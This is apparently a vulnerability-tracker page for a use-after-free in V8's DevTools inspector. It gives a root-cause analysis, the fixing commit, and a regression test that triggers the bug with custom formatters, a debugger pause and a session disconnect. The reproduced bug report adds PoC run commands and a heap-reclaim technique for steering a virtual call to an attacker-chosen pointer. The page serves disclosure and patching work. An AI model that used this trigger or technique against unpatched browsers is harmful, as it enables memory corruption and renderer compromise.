Medium watch CVSS 8.8 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in DevTools
DescriptionUse after free in DevTools
ComponentDevTools
Sub-componentInspector
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker520052954
Fix commit91a30f0b3770 (v8/v8) +74/-0
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedyupyon.itome
Reported2026-06-05 (per vendor advisory)
Fix landed2026-07-20 (public git)
Disclosed2026-08-25
Patch gap36 days — fix public in source before the advisory

Background

`V8InspectorSessionImpl`
the per-client object in V8’s inspector (src/inspector) that backs one DevTools protocol session attached to a context group; it owns the session’s agents and, through them, the InjectedScript state used for evaluation and object wrapping.
`KeepSessionAliveScope`
an RAII guard on V8InspectorSessionImpl that defers destruction of the session while the scope is live, so a disconnect requested during re-entrant JavaScript does not free the session out from under the C++ frames still using it.
`ProtocolPromiseHandler`
the helper in injected-script.cc that waits for a promise (for example, a Runtime.evaluate with awaitPromise) and, in its then/catch callbacks, looks the session up again by m_contextGroupId/m_sessionId and wraps the result or exception for the protocol response.
Custom formatters
the devtoolsFormatters hook, enabled per session with Runtime.setCustomObjectFormatterEnabled; it makes the inspector call page-supplied JavaScript (header, hasBody) while it wraps objects.

Root Cause Analysis

The commit message says the bug is in ProtocolPromiseHandler::thenCallback and catchCallback in src/inspector/injected-script.cc. Both hunks sit in code that looks up the session with m_inspector->sessionById(...), returns early if it is null, then builds an InjectedScript::ContextScope on that raw V8InspectorSessionImpl* and goes on to wrap a value. Wrapping can run arbitrary page JavaScript (custom formatters are the commit’s example), and that JavaScript can reach a debugger pause. During the pause’s nested message loop, a disconnect can destroy the session and its InjectedScript. The if (!session) return; check only covers a session that was already gone at entry. Nothing kept the session alive for the rest of the callback, so when the stack unwound, scope and the remaining code used freed memory.

The fix adds V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session); right after the null check and before ContextScope is built, in both callbacks. Any disconnect during the callback is now deferred until the callback returns.

Key insight
The callbacks held a raw session pointer across code that can re-enter JavaScript and the debugger, assuming the session would outlive the callback. Adding KeepSessionAliveScope makes the callback keep the session alive itself for its whole duration.

Attack Path

  1. Inspector session with custom formatters A DevTools protocol client is attached to the page’s context group and has custom formatters enabled. The regression test does this with Runtime.enable, Debugger.enable and Runtime.setCustomObjectFormatterEnabled({enabled: true}) on the victim session.
  2. Page installs a re-entrant formatter Page script sets globalThis.devtoolsFormatters with a header function that runs debugger;, then triggers a value the inspector must wrap (the test throws an object from a setTimeout callback).
  3. Wrapping pauses inside the callback When the inspector wraps that value for the session, it calls the formatter. The formatter pauses the debugger and enters a nested message loop while the C++ wrapping frame is still on the stack.
  4. Session torn down during the pause During the pause the session is disconnected (the test uses utils.disconnectSession(victimId) from a second “controller” session and then resumes). This frees the V8InspectorSessionImpl and its InjectedScript.
  5. Unwind touches freed state After resume, the callback frame keeps using its stale session or InjectedScript pointers (the test expects ASan to trip here). Turning this into memory corruption beyond a crash is not shown by the patch (inferred).

Impact Assessment

The advisory lists this as a use-after-free in DevTools. It occurs in the V8 inspector inside the process running the inspected JavaScript, which is normally the sandboxed renderer. Reaching it needs more than ordinary browsing. An inspector session must be attached with custom formatters enabled, and DevTools does not enable those by default. The session must also be disconnected while paused inside the formatter, for example by closing DevTools mid-pause or by a second protocol client such as an extension using chrome.debugger (inferred). The vendor advisory rates this medium severity and does not report in-the-wild exploitation; NVD scores it CVSS 8.8. Any code execution in the renderer is (inferred).

Changed Functions

FunctionChangeNotes
if
test/inspector/runtime/regress-520052954.js
modified
setTimeout
test/inspector/runtime/regress-520052954.js
modified

Files Changed

  • test/inspector/runtime/regress-520052954.js
  • test/inspector/inspector.status
  • test/inspector/runtime/regress-520052954-expected.txt
  • src/inspector/injected-script.cc

Audit Directions

  • Raw session pointers across JS re-entry
    Search src/inspector for sessionById(...) followed by work that can run JavaScript (wrapping, RemoteObject building, custom formatters, getters, toString) without a KeepSessionAliveScope, including other async callbacks such as evaluate/callFunctionOn continuations and console message reporting.
  • Nested message loops as a free trigger
    Any path that can hit debugger;, a breakpoint or runMessageLoopOnPause while holding pointers to an agent, InjectedScript or InspectedContext should be checked for objects that disconnect or context destruction can free during the pause.
  • Null-check-at-entry is not lifetime
    Look for patterns that validate a looked-up object once (if (!x) return;) and then call out to user code. Re-validate after the call-out, or pin the object with a scope or strong reference.
From 91a30f0b3770265567557eb1ec47ee84b205597d Mon Sep 17 00:00:00 2001
From: Yang Guo <[email protected]>
Date: Fri, 17 Jul 2026 15:27:36 +0000
Subject: [PATCH] [inspector] Fix UAF in ProtocolPromiseHandler on session disconnect

KeepSessionAliveScope was missing in ProtocolPromiseHandler::thenCallback
and catchCallback. If the session is disconnected during JS execution
within these callbacks (e.g. via custom formatters), the session and
associated InjectedScript are destroyed, leading to UAF when the stack
unwinds.

This CL adds KeepSessionAliveScope to both callbacks to keep the session
alive until they finish.

Also adds regression tests based on the PoCs attached to the issue.

TAG=agy
CONV=0d576582-f72b-47f5-a478-6eb9e6ebdbe3

Bug: 520052954
Change-Id: I2e7c65022b2a0d1933d333acabd22b33df13fdf8
Fixed: 520052954
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8117126
Reviewed-by: Simon Zünd <[email protected]>
Commit-Queue: Simon Zünd <[email protected]>
Auto-Submit: Yang Guo <[email protected]>
Cr-Commit-Position: refs/heads/main@{#108738}
---
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 0acd4d4..60a2eea 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -244,6 +244,7 @@
     V8InspectorSessionImpl* session =
         m_inspector->sessionById(m_contextGroupId, m_sessionId);
     if (!session) return;
+    V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
     InjectedScript::ContextScope scope(session, m_executionContextId);
     Response response = scope.initialize();
     if (!response.IsSuccess()) return;
@@ -291,6 +292,7 @@
     V8InspectorSessionImpl* session =
         m_inspector->sessionById(m_contextGroupId, m_sessionId);
     if (!session) return;
+    V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
     InjectedScript::ContextScope scope(session, m_executionContextId);
     Response response = scope.initialize();
     if (!response.IsSuccess()) return;
diff --git a/test/inspector/inspector.status b/test/inspector/inspector.status
index 411feb8..bff9ad6 100644
--- a/test/inspector/inspector.status
+++ b/test/inspector/inspector.status
@@ -26,6 +26,7 @@
   # Tests that need to run sequentially (e.g. due to memory consumption).
   'runtime/console-messages-limits': [PASS, SLOW, HEAVY],
   'runtime/regression-732717': [PASS, HEAVY],
+  'runtime/regress-520052954': [PASS, ['not asan', SKIP]],
 }],  # ALWAYS
 
 ##############################################################################
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+  await VP.Runtime.enable();
+  await VP.Debugger.enable();
+  await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+  await CP.Runtime.enable();
+  await CP.Debugger.enable();
+
+  const victimId = victim.id;
+  InspectorTest.log('victim session id = ' + victimId);
+
+  CP.Debugger.onPaused(async () => {
+    if (freed) { await CP.Debugger.resume(); return; }
+    freed = true;
+    InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+    // Disconnect victim session.
+    utils.disconnectSession(victimId);
+    InspectorTest.log('[controller] victim freed; resuming nested loop');
+    await CP.Debugger.resume();
+  });
+
+  await VP.Runtime.evaluate({
+    expression: `
+      globalThis.devtoolsFormatters = [{
+        header: function(obj, config) { debugger; return null; },
+        hasBody: function() { return false; },
+      }];
+      setTimeout(function() {
+        // Trigger formatter.
+        throw {tag: 'exc'};
+      }, 0);
+    `,
+  });
+
+  // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+  // fires under ASan we never get past here.
+  await CP.Runtime.evaluate({
+    expression: 'new Promise(r => setTimeout(r, 0))',
+    awaitPromise: true,
+  });
+
+  InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+  InspectorTest._sessions.delete(victim);
+  InspectorTest.completeTest();
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+  await VP.Runtime.enable();
+  await VP.Debugger.enable();
+  await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+  await CP.Runtime.enable();
+  await CP.Debugger.enable();
+
+  const victimId = victim.id;
+  InspectorTest.log('victim session id = ' + victimId);
+
+  CP.Debugger.onPaused(async () => {
+    if (freed) { await CP.Debugger.resume(); return; }
+    freed = true;
+    InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+    // Disconnect victim session.
+    utils.disconnectSession(victimId);
+    InspectorTest.log('[controller] victim freed; resuming nested loop');
+    await CP.Debugger.resume();
+  });
+
+  await VP.Runtime.evaluate({
+    expression: `
+      globalThis.devtoolsFormatters = [{
+        header: function(obj, config) { debugger; return null; },
+        hasBody: function() { return false; },
+      }];
+      setTimeout(function() {
+        // Trigger formatter.
+        throw {tag: 'exc'};
+      }, 0);
+    `,
+  });
+
+  // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+  // fires under ASan we never get past here.
+  await CP.Runtime.evaluate({
+    expression: 'new Promise(r => setTimeout(r, 0))',
+    awaitPromise: true,
+  });
+
+  InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+  InspectorTest._sessions.delete(victim);
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by [email protected]

V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect

Steps to reproduce the problem

Environment

V8 source: 15.1.0 (Chromium-tracked). Tested commit: f1d2db6bb88 (HEAD, 2026-06-04). Linux x86_64. Working tree unmodified (no source changes; all PoCs are stock harness JS).

Builds

UAF reproduction (callsites A-D) — out/fuzzbuild-sandbox-asan/args.gn:

is_debug = false
dcheck_always_on = false
v8_enable_sandbox = true
is_asan = true
target_cpu = "x64"

autoninja -C out/fuzzbuild-sandbox-asan inspector-test

Callsite B impact demo — out/fuzzbuild-sandbox/args.gn (non-ASan, because ASan quarantines the freed chunk and prevents the reclaim):

is_debug = false
dcheck_always_on = true
v8_enable_sandbox = true
target_cpu = "x64"

autoninja -C out/fuzzbuild-sandbox inspector-test

Run the UAF PoCs (A-D)

From the V8 source root, for each PoC:

ASAN_OPTIONS='abort_on_error=0:halt_on_error=1:detect_leaks=0' \
  ./out/fuzzbuild-sandbox-asan/inspector-test \
  test/inspector/protocol-test.js \
  poc-&lt;X&gt;.js

Each run aborts with AddressSanitizer: heap-use-after-free and a READ of size 8. Each report contains the deref-site stack, the freed-by stack through ~V8InspectorSessionImpl reached from UtilsExtension::DisconnectSession (inspector-test.cc:442), and the previously-allocated-by stack.

PoC console/JS trigger deref site freed region
A poc-A-wraparguments-session-stale.js console.log(a, b) (2 args) findInjectedScript v8-inspector-session-impl.cc:228 via wrapArguments :302 232 B V8InspectorSessionImpl, +24
B poc-B-consoleAPICalled.js console.log({...}) (1 arg) consoleAPICalled Runtime.cpp:478 via reportToFrontend :404 144 B V8RuntimeAgentImpl, +24 (frontend_channel_)
C poc-C-exceptionThrown.js uncaught throw {...} (via setTimeout) exceptionThrown Runtime.cpp:502 via reportToFrontend :363 144 B V8RuntimeAgentImpl, +24
D poc-D-promisehandler-catchCallback.js pending promise + Runtime.awaitPromise, then deferred reject session->inspector() v8-inspector-session-impl.h:47 via catchCallback injected-script.cc:305 232 B V8InspectorSessionImpl, +24

Common structure of every PoC (two stock sessions in one context group): the victim session enables Runtime + Debugger + Runtime.setCustomObjectFormatterEnabled; the controller session, on Debugger.paused, calls the committed utils.disconnectSession(victimId) and then Debugger.resume(). The page installs globalThis.devtoolsFormatters whose header runs debugger; (this is what opens the nested pause loop in which the disconnect is dispatched).

Run the callsite B impact demo

Sandbox-violation signal (the dereference faults at the attacker-chosen pointer):

UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
  ./out/fuzzbuild-sandbox/inspector-test --sandbox-testing \
  test/inspector/protocol-test.js \
  poc-B-impact-controlled-pointer.js

Expected stderr: ## V8 sandbox violation detected! (a read access — the vtable load). gdb capture of the controlled fault:

UBSAN_OPTIONS='...handle_segv=0...' \
  gdb -batch -x poc-B-impact-controlled-pointer.gdb \
  --args ./out/fuzzbuild-sandbox/inspector-test \
  test/inspector/protocol-test.js \
  poc-B-impact-controlled-pointer.js

gdb shows si_addr equal to the chosen pointer and the faulting instruction mov (%r15),%rcx with r15 = the chosen pointer. See poc-B-impact-controlled-pointer.log.

Problem Description

Summary

Heap-use-after-free in the V8 Inspector console/exception/promise reporting path. The reporting frames hold raw pointers to V8InspectorSessionImpl and its owned V8RuntimeAgentImpl across an object-preview callout that re-enters page JS (devtoolsFormatters[*].header). If the session is disconnected while that JS is on the stack, ~V8InspectorSessionImpl runs inline and frees the objects; the reporting frame then dereferences the stale pointer. The freed objects are on the renderer C++ heap, outside the V8 sandbox cage. Four callsites reproduced under ASan at HEAD f1d2db6bb88 (V8 15.1.0); logs attached.

Attacker model

A debugger client (a chrome.debugger-permission extension, or any CDP / DevTools client) attaches a session, enables custom formatters (Runtime.setCustomObjectFormatterEnabled(true)), and disconnects (chrome.debugger.detach / session close) at the moment the inspected page emits a console.log / uncaught throw / settled promise carrying an object whose formatter header pauses execution. No prior memory primitive assumed.

Mechanism

The only session pin (KeepSessionAliveScope, v8-inspector-session-impl.cc:362) is on the dispatchProtocolMessage stack; the console/exception/promise-reporting stacks have none. So:

  1. The page installs globalThis.devtoolsFormatters whose header runs debugger;.
  2. Reporting a value whose preview fires that formatter hits debugger;, which enters a nested message loop on pause (handleProgramBreak -> runMessageLoopOnPause).
  3. While paused, the debugger client disconnects the session (utils.disconnectSession in the inspector-test harness); it is dispatched inside the nested loop, so DevToolsSession::Disconnect -> ~V8InspectorSessionImpl (:161) runs synchronously on the suspended reporting stack. That destroys unique_ptr<V8RuntimeAgentImpl> (144 B; holds m_frontend.frontend_channel_ at +24) and frees the 232 B session.
  4. The formatter returns; the reporting frame dereferences the freed pointer.

Prior fixes cover only the dispatchProtocolMessage stack, not these paths.

Reproduced callsites (ASan, unmodified build)

All free via utils.disconnectSession -> InspectorIsolateData::DisconnectSession (inspector-test.cc:442) -> ~V8InspectorSessionImpl.

  • A V8ConsoleMessage::wrapArguments (v8-console-message.cc:302). console.log(a,b): iter-0’s wrapObject runs the formatter and frees the session; iter-1 derefs it at findInjectedScript (v8-inspector-session-impl.cc:228).
  • B reportToFrontend -> frontend->consoleAPICalled (v8-console-message.cc:404). Single-arg console.log({...}); reads frontend_channel_ from the freed V8RuntimeAgentImpl and virtual-dispatches SendProtocolNotification through it. See Impact.
  • C reportToFrontend kException -> frontend->exceptionThrown (:363). Uncaught throw {...}; wrapException runs the formatter, frees the session, then line 363 derefs the freed agent.
  • D InjectedScript::ProtocolPromiseHandler::catchCallback (injected-script.cc:305). A pending promise given to Runtime.awaitPromise then rejected from a later task runs catchCallback unpinned; its wrapObject preview frees the session, then line 305 reads session->inspector().

PoCs: poc-{A,B,C,D}-*.{js,log}.

Impact (callsite B)

Allocator-independent: the UAF reads frontend_channel_ from the freed object and immediately uses it as the receiver of a virtual call (SendProtocolNotification) — a code-pointer-bearing UAF, not a data read. Supplementary (glibc-configured build): the freed 144 B slot can be reclaimed from page JS (via inspector.scheduleWithAsyncStack, a same-size std::vector<uint16_t>) so frontend_channel_ becomes attacker-chosen; the vtable load then faults at exactly the chosen out-of-sandbox address, and varying it moves the fault bit-for-bit. Evidence: poc-B-impact-controlled-pointer.{js,gdb,log}.

Hardening notes (not reproduced)

  • E V8RuntimeAgentImpl::addBinding (~:1001): the post-Set recheck validates the context but not the session. Not reachable on stock V8 (the setter fires only on a default context, which runs pinned; contextCreated uses a pristine realm).
  • F getProperties -> InjectedScript (~:624): missing session recheck, but reached only via the pinned CDP dispatcher.

Suggested fix

A/B/C: capture a weak_ptr<V8InspectorSessionImpl> at reporting-function entry and bail before each post-callout deref if expired. D: re-fetch via sessionById(m_sessionId) after the wrapObject at injected-script.cc:298. Blanket: extend KeepSessionAliveScope from dispatchProtocolMessage to the console/exception delivery and async/promise-reaction entry points.

Summary

V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect

Custom Questions

Type of crash:

tab

Reporter credit:

ywatanabee

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker